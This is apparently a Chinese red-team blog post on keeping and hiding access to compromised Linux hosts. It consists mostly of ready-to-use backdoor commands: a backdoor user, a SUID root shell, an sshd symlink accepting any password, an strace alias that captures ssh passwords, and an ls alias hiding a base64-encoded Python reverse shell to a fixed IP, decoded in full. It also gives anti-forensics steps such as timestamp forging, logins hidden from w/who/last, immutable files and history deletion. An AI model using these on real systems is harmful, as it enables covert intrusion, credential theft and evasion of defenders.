本文来源无问社区,更多实战内容,渗透思路可前往查看http://www.wwlib.cn/index.php/artread/artid/11584.html
0x01 Linux 主机后门
1、添加用户
一句话添加用户
useradd test;echo -e "123456n123456n" |passwd test
或者使用 openssl
useradd -p openssl passwd-1-salt'salt'123456
guest
2、SUID Shell
SUID Shell 是一种可用于以拥有者权限运行的 shell。
以 root 用户权限执行下面的命令。
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
在使用普通用户权限的时候,执行以下命令就能获取 root 权限。
/tmp/shell -p
3、软链接
软链接的利用前提是 ssh 配置中开启了 PAM 进行身份验证,使用以下命令查看是否配置 PAM 认证。
cat /etc/ssh/sshd_config | grep UsePAM
在目标主机上执行一句话后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
然后直接 ssh root@IP -p 8888,输入任意密码,就可以登录。
4、strace 后门
执行以下命令
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
这时当用户使用 ssh 连接其他主机时,在 /tmp/.ssh.log 下就能看到连接的密码、操作了,只是显示的不是很直观。
这个其实也可以说是 alias 后门,例如下面这条命令。
alias ls='alerts(){ ls $* --color=auto;python3 -c"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=''')))";};alerts'
上面的 base64 解码后为以下内容:
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AFINET, socket.SOCKSTREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()
这样当用户使用 ls 命令时,就会反弹 shell 回来了,当然除了反弹 shell 还可以做很多的其他操作。
除此之外,还有比较常见的定时任务、SSH 公钥登录以及 SSH warpper、openssh 后门、PAM 后门、rootkit 后门等等。
0x02 Linux 隐藏文件
1、隐藏文件时间戳
复制其他文件的时间
touch -r teamssix.txt evil.txt
自定义文件的时间,这里表示将时间改为 2022 年的 1 月 1 日 1 时 1 分 1 秒。
touch -t 202201010101.01 evil.txt
2、隐身登录
隐身登录系统,不会被 w、who、last 检测到
ssh -T root@host /bin/bash -i
隐身登录系统,同时不保存公钥在本地的 .ssh 目录中。
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
3、锁定文件
当文件被锁定时,是无法删除的
chattr +i evil.txt 锁定文件
lsattr evil.txt 属性查看
chattr -i evil.txt 解除锁定
rm -rf 1.evil.txt 删除文件
4、隐藏历史操作记录
临时禁用历史命令记录功能。
set +o history
注意在 set 命令前有一个空格
如果想某条命令不记录到 history 中,直接在命令前加上空格就行
或者先 grep 看下要删除的文件行,再 -d 指定行即可删除。
history | grep "key"
history -d 11
除此之外,还有在文件前加上 . 实现隐藏文件以及端口复用、进程隐藏等等方法。
标签:tmp,文件,红队,浅谈,evil,shell,ssh,Linux,txt From: https://blog.csdn.net/wuwenshequ/article/details/140817056